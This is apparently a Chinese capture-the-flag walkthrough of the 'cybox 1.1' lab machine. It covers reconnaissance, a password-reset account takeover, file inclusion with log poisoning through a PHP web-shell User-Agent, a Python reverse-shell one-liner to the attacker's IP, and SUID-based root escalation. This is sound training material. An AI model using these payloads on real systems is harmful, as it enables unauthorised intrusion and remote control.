cybox:1.1靶机练习
网络结构:
环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24
网络由攻击机kali、靶机组成
靶机ip:192.168.1.141
kali linux ip:192.168.1.137
信息收集:
主机发现:
nmap -sP 192.168.1.0/24
下图中192.168.1.1为VMnet8网卡地址,1.3位网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.141
端口服务扫描:
靶机开启了80和443端口,访问一下看看
直接访问ip后是一个web页面
拖到页面最下方可以看到一个域名
爆破目录:
爆破一下目录
dirb "http://192.168.1.141" /usr/share/dirb/wordlists/big.txt
同时也使用dirbuster爆破一下详细页面,以取得更多的信息
依次访问dirb爆出的目录,发现assets目录下存放了些css、js文件
/cgi/bin目录无访问权限,/phpadmin目录只允许本地访问
dirbuster爆破结果也出来了,与dirb扫出的结果相差不大,此时并没有发现到什么有价值的页面。
此时我们甚至都没有找到真正提供服务的web页面,我们扫描端口时可以看到目标机器开放了ftp服务,还开放了pop3、imap,还提供邮件服务,很明显目标机器有一个较复杂的网站提供服务,但我们的扫描结果并不相符,说明爆破姿势不对
之前访问首页的时候看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下
vim /etc/hosts
这次我们使用gobuster进行扫描,gobuster是一款基于go语言的目录/文件和DNS爆破工具,可以对目录、文件、DNS和VHost等对象进行暴力破解攻击,下载链接https://github.com/OJ/gobuster,kali下可以直接apt-get install gobuster进行安装
扫描后,可以看到,有了我们之前并未爆破出的页面
gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt
依次访问各页面
dev.cybox.company是一个PHPinfo
ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码
webmail.cybox.company是一个邮箱登录页面
register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户
monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回
漏洞挖掘:
在上面这个页面,注册一个用户登录试一下
登录后发现并没有什么实际功能,只有一个创建条目记录时间的,不知道有什么作用
这里退出登录,试一下未注册用户,发现不存在的用户登录会直接提示用户不存在,这里可以试一下有无admin用户
尝试猜解管理员的用户名,因为登录页面提供密码修改,可以试试能不能越权修改密码,此处发现存在一个[email protected],显示密码错误,并没有显示用户不存在,先记下,一会看看能不能改
点击忘记密码,会跳转到一个发送链接的页面,这里是将修改链接发送到邮箱了,应该就是我们刚刚看到的那个邮箱的登录界面
到邮箱登录页面webmail,登录,发现无法登录,一直显示密码用户名不匹配,说明两边的用户不互通,但我们这时还有一个之前的register.cybox.company/目录,用它创建一个同名用户aaa
之后再到webmail登录,登录成功,可以看到我们之前接收到的修改密码的邮件,里面有个修改链接
点进去,跳转到一个修改密码页面,我们用burp抓下包,把邮箱改成admin的,看看能不能通过改包来越权修改admin用户的密码
点击放包,直接跳转回了登录页面,尝试登录admin用户,登录成功,看来并没有什么验证
点进Admin panel,看一下管理页面,结果,显示开发中
方法总比困难多,右键查看页面代码,可以看到,这里包含进来一个php页面
我们可以尝试文件包含,包含一个/etc/passwd文件测试一下,包含成功,此处存在文件包含漏洞
然后可以通过日志文件反弹一个shell,apache的日志目录为/opt/bitnami/apache2/logs/,请求日志文件为access_log,错误日志文件为error_log,我们包含请求日志看一下,可以看到,这是ftp页面的请求日志
我们转到ftp页面
打开burp抓包,刷新页面,拦一个包下来,User-Agent改成cmd命令的php代码
<?php system($_GET['s']);?>
发包,然后测试一下,测试成功,没有问题
制作反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.1.137',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
kali端监听443端口(这里选取443是因为经测试此靶机只允许通往部分端口的数据包进出)
监听好端口后,web页面敲击回车,成功反弹shell,拿到了一个低权限的shell
权限提升:
首先查找有s权限的文件,只看非系统文件,此处需要审计代码,可以看到,在/opt目录下有一个registerlauncher
在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串
strings registerlauncher
在查看register文件内容,发现这是一个可以创建用户的文件
实际就是实现了那个register页面的功能,测试之前创建的aaa用户,此处可以登录
首先取得一个交互shell
python -c "import pty;pty.spawn('/bin/bash');"
然后尝试登录aaa,成功
试一下能不能切换root,失败,提示我们aaa不再sudoers文件中
另外此处我们无权限查看sudoers文件,但应该是有用户持有切换权限的,这里就需要试了,本来想写一个简单的小脚本来代替人工的,但考虑到我们还要在register页面创建新用户,自动化也没有什么太大的意义,所幸并不难猜,用户名起为sudo即可
创建完之后切换用户sudo,与之前一样,密码和用户名一致,即可切换root用户,至此提权完毕
在root的家目录下可以看到一个root.txt,查看一下,是个flag
来源:freebuf.com 2021-02-14 14:49:08 by: compactdisk
请登录后发表评论
注册